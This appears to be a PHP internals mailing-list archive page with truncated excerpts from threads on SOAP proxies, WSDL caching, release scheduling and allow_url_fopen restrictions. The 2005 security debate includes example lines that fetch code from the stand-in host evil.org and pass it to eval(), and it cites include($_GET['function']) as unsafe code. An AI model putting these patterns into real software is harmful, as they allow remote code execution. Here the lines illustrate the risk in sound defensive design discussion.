hi Dmitry,
I suppose you mean Johannes for 5.3.
On Tue, Jan 10, 2012 at 8:11 AM, Dmitry Stogov wrote:
> Hi Alex,
>
> Right now it's possible to use SOAP with proxy using special options in
> SoapClient constructor
> (http://www.php.net/manual/en/soapclient.soapclient.php)
>
> new SoapClient($wsd
Hi!
Stas, Ilia, any objections against committing it into 5.4 and 5.3?
Not for 5.4 now, we're in code freeze and this does not look like
critical patch. Once 5.4.0 is out, it's OK to add for 5.4.1.
--
Stanislav Malyshev, Software Architect
SugarCRM: http://www.sugarcrm.com/
(408)454-6900 ex
Hi Alex,
Right now it's possible to use SOAP with proxy using special options in
SoapClient constructor
(http://www.php.net/manual/en/soapclient.soapclient.php)
new SoapClient($wsdl, array('proxy_host' => 'my.proxy.com',
'proxy_port' => '8080',
On 24.07.2009, at 12:48, David Zülke wrote:
Yes, thanks, I realize that, but I need to test it in a .phpt unit
test, which is a bit trickier. But as I said, I already have an
idea. Will do it this later and open a ticket.
I finally got around to writing a test case and opening a ticket
(w
On 24.07.2009, at 12:48, David Zülke wrote:
Yes, thanks, I realize that, but I need to test it in a .phpt unit
test, which is a bit trickier. But as I said, I already have an
idea. Will do it this later and open a ticket.
Issue: http://bugs.php.net/49144
.phpt: http://pastie.org/569897 (tri
On 24.07.2009, at 12:48, David Zülke wrote:
Yes, thanks, I realize that, but I need to test it in a .phpt unit
test, which is a bit trickier. But as I said, I already have an
idea. Will do it this later and open a ticket.
Issue: http://bugs.php.net/49144
.phpt: http://pastie.org/569897 (als
On 24.07.2009, at 12:45, Davide Romanini wrote:
David Zülke ha scritto:
Can do, but I wanted to figure out a way to create a reproduce case
first (I already have an idea).
- David
On 24.07.2009, at 12:20, Dmitry Stogov wrote:
Hi David,
Please report a bug on bugs.php.net (assign it to dm
David Zülke ha scritto:
> Can do, but I wanted to figure out a way to create a reproduce case
> first (I already have an idea).
>
> - David
>
>
>
> On 24.07.2009, at 12:20, Dmitry Stogov wrote:
>
>> Hi David,
>>
>> Please report a bug on bugs.php.net (assign it to dmitry).
>> I'll look into it
Can do, but I wanted to figure out a way to create a reproduce case
first (I already have an idea).
- David
On 24.07.2009, at 12:20, Dmitry Stogov wrote:
Hi David,
Please report a bug on bugs.php.net (assign it to dmitry).
I'll look into it later.
Thanks. Dmitry.
David Zülke wrote:
This
I think that's the right call.
At 01:10 PM 4/19/2006, Ilia Alshanetsky wrote:
5.2 is the next 5.X release that will follow 5.1.3, I don't think we
are in a position to delay 5.1 release any further. My feelings on
the matter are that stability does not seem entirely certain for the
SOAP changes,
5.2 is the next 5.X release that will follow 5.1.3, I don't think we
are in a position to delay 5.1 release any further. My feelings on
the matter are that stability does not seem entirely certain for the
SOAP changes, so I will simply tag the pre-patch version of soap for
RC3 and final 5.1
On Wed, 19 Apr 2006, George Schlossnagle wrote:
> Michael Rasmussen wrote:
>
> >This is a god point.
> >
> >
> No need to inflate Adam's self-image _that_ much.
>
> :)
I think mine just popped. :)
-adam
--
[EMAIL PROTECTED] | http://www.trachtenberg.com
author of o'reilly's "upgrading to php 5
Michael Rasmussen wrote:
On Wed, 19 Apr 2006 13:52:13 -0400, Adam Maccabee Trachtenberg wrote:
Not if you think the improvements will break the code base because you
don't have time to do sufficient testing. I would prefer to avoid
regressions in minor releases and would like to use the lon
On Wed, 19 Apr 2006 13:52:13 -0400, Adam Maccabee Trachtenberg wrote:
>
> Not if you think the improvements will break the code base because you
> don't have time to do sufficient testing. I would prefer to avoid
> regressions in minor releases and would like to use the longer 5.2
> beta period f
On Wed, 19 Apr 2006, Michael Rasmussen wrote:
> Maybe I have missed something lately. It think your argumentation is
> twisted, is it not normally the other way round? You increase major
> when new functionality is added and only change minor when bugs
> and/or improvements to current code base is
On Wed, 19 Apr 2006 12:57:17 -0400, Adam Maccabee Trachtenberg wrote:
>
> I would prefer not to break ext/soap, so I suggest 5.2.0. My main
> reason for delaying is that this does not add any new functionality:
> it's "only" performance improvements. People who really need it can
> run latest CVS
On Wed, 19 Apr 2006, Dmitry Stogov wrote:
> Now you can enable disk and/or memory cache through configuration directive
> "soap.wsdl_cache" in php.ini.
> It can have one of the following values WSDL_CACHE_NONE, WSDL_CACHE_DISK,
> WSDL_CACHE_MEMORY, WSDL_CACHE_BOTH. The default value is WSDL_CACHE_
Since comments comments were called for I thought I might weigh in
with my $0.02cdn
When configuring PHP I want a way to protect myself, and my users from
themselves when it comes to doing something silly, I've actually seen
include($_GET['function']) in running code, though thankfully never on
on
On 7/28/05, Sean Coates <[EMAIL PROTECTED]> wrote:
> >> That won't work, eval() is not a function...
> >
> > Ah yes, you're right... I guess we do need another INI setting.
>
> Or constructs-that-look-like-functions could be governed by
> disable_functions (eval, echo).. that would cause other pro
Ilia Alshanetsky wrote:
IMHO we should restrict or "disabling" code to just the
include/require constructs, since that is the main cause for concern.
Ultimately shy of disabling php's ability to request remote files
there is no way to prevent an attacker from fetching remote code and
then
At 04:52 PM 7/28/2005, Ilia Alshanetsky wrote:
It can already be done, disable_functions INI directive.
That won't work, eval() is not a function...
Zeev
--
PHP Internals - PHP Runtime Development Mailing List
To unsubscribe, visit: http://www.php.net/unsub.php
sure: eval('file_get_contents("http://evil.org";);');
Ok, but there is nothing (allow_url_fopen does not work here) preventing
me from doing similar via:
$fp = fsockopen("evil.org", 80);
$fp = fwrite($fp, "GET /evil_code.txt HTTP/1.0\r\nHost: evil.org\r\n\r\n");
eval(stream_get_contents($fp)
Zeev Suraski wrote:
At 04:43 PM 7/28/2005, Ilia Alshanetsky wrote:
Zeev Suraski wrote:
3. Introduce allow_remote_streams (effectively allow_url_fopens
renamed, except it doesn't affect include/require)
If this option is disabled, would it simply prevent loading URLs via
various file base
At 04:43 PM 7/28/2005, Ilia Alshanetsky wrote:
Zeev Suraski wrote:
3. Introduce allow_remote_streams (effectively allow_url_fopens renamed,
except it doesn't affect include/require)
If this option is disabled, would it simply prevent loading URLs via
various file based functions and a like (
Zeev Suraski wrote:
I don't know, I think that if you aim that well you should be allowed to
shoot yourself in the foot :) If we go that far, then running code
from the database through eval() should also not be allowed, because it
may have been indirectly written to by remote users. Which b
On Jul 28, 2005, at 9:49 AM, Ilia Alshanetsky wrote:
sure: eval('file_get_contents("http://evil.org";);');
Ok, but there is nothing (allow_url_fopen does not work here)
preventing me from doing similar via:
$fp = fsockopen("evil.org", 80);
$fp = fwrite($fp, "GET /evil_code.txt HTTP/1.0\
That won't work, eval() is not a function...
Ah yes, you're right... I guess we do need another INI setting.
Or constructs-that-look-like-functions could be governed by
disable_functions (eval, echo).. that would cause other problems (like a
disabled "return"), though.
S
--
PHP Internals
Zeev Suraski wrote:
At 04:52 PM 7/28/2005, Ilia Alshanetsky wrote:
It can already be done, disable_functions INI directive.
That won't work, eval() is not a function...
Ah yes, you're right... I guess we do need another INI setting.
Ilia
--
PHP Internals - PHP Runtime Development Mailing
At 04:39 PM 7/28/2005, George Schlossnagle wrote:
sure: eval('file_get_contents("http://evil.org";);');
You could say this is just bad policy on the part of code authors,
but that's what these options were geared to handle in the first
place, right?
I don't know, I think that if you aim that
Zeev Suraski wrote:
3. Introduce allow_remote_streams (effectively allow_url_fopens
renamed, except it doesn't affect include/require)
If this option is disabled, would it simply prevent loading URLs via
various file based functions and a like (like allow_url_fopen now) or
will it also inclu
On Jul 28, 2005, at 9:28 AM, Zeev Suraski wrote:
At 04:21 PM 7/28/2005, Ilia Alshanetsky wrote:
Zeev Suraski wrote:
At 01:50 AM 7/28/2005, Ilia Alshanetsky wrote:
Are you therefore saying SOAP support should be 100% diabled when
allow_url_fopen is off?
SOAP is not disabled, simply pr
At 04:21 PM 7/28/2005, Ilia Alshanetsky wrote:
Zeev Suraski wrote:
At 01:50 AM 7/28/2005, Ilia Alshanetsky wrote:
Are you therefore saying SOAP support should be 100% diabled when
allow_url_fopen is off?
SOAP is not disabled, simply prevented from querying remote data sources
directly.
W
On Jul 28, 2005, at 9:21 AM, Ilia Alshanetsky wrote:
Zeev Suraski wrote:
At 01:50 AM 7/28/2005, Ilia Alshanetsky wrote:
Are you therefore saying SOAP support should be 100% diabled when
allow_url_fopen is off?
SOAP is not disabled, simply prevented from querying remote data
sources di
On Jul 28, 2005, at 9:10 AM, Zeev Suraski wrote:
At 01:50 AM 7/28/2005, Ilia Alshanetsky wrote:
Are you therefore saying SOAP support should be 100% diabled when
allow_url_fopen is off?
SOAP is not disabled, simply prevented from querying remote data
sources directly.
What exactly ca
Zeev Suraski wrote:
At 01:50 AM 7/28/2005, Ilia Alshanetsky wrote:
Are you therefore saying SOAP support should be 100% diabled when
allow_url_fopen is off?
SOAP is not disabled, simply prevented from querying remote data
sources directly.
What exactly can you do with it other than query
On Thu, 28 Jul 2005 16:10:59 +0300
[EMAIL PROTECTED] (Zeev Suraski) wrote:
> At 01:50 AM 7/28/2005, Ilia Alshanetsky wrote:
> >>Are you therefore saying SOAP support should be 100% diabled
> >>when allow_url_fopen is off?
> I tend to agree with Adam (and I guess Wez) - SOAP should not be
> affect
At 01:50 AM 7/28/2005, Ilia Alshanetsky wrote:
Are you therefore saying SOAP support should be 100% diabled when
allow_url_fopen is off?
SOAP is not disabled, simply prevented from querying remote data sources
directly.
What exactly can you do with it other than query remote data sources?
I
Adam Maccabee Trachtenberg wrote:
I pretty much take it for granted that people are going to need to
fetch the WSDL file from a remote location.
Not to mention do anything useful with it, like run queries :-)
Are you therefore saying SOAP support should be 100% diabled when
allow_url_fopen is
On Wed, 27 Jul 2005, Sara Golemon wrote:
> (B) I don't think SOAP is one of those cases. I would be dissapointed if
> SOAP allowed *any* calls to be made when allow_url_fopen is off.
I pretty much take it for granted that people are going to need to
fetch the WSDL file from a remote location.
A
Two answers:
(A) I do think an override is a good idea. There may be some cases where
extension code may need to hook a wrapper whether allow_url_fopen is enabled
or not. Granted the code could temporarily change that value, but that's a
hackish approach.
(B) I don't think SOAP is one of thos
update: Dmitry contacted me, he will look into it.
"Ron Korving" <[EMAIL PROTECTED]> wrote in message
news:[EMAIL PROTECTED]
> Hi,
>
> I'm experiencing a problem with SOAP that people usually wouldn't run
into.
> I've mailed Dmitry about this, but have so far received no reply (he's
> usually pret
41 matches
Mail list logo
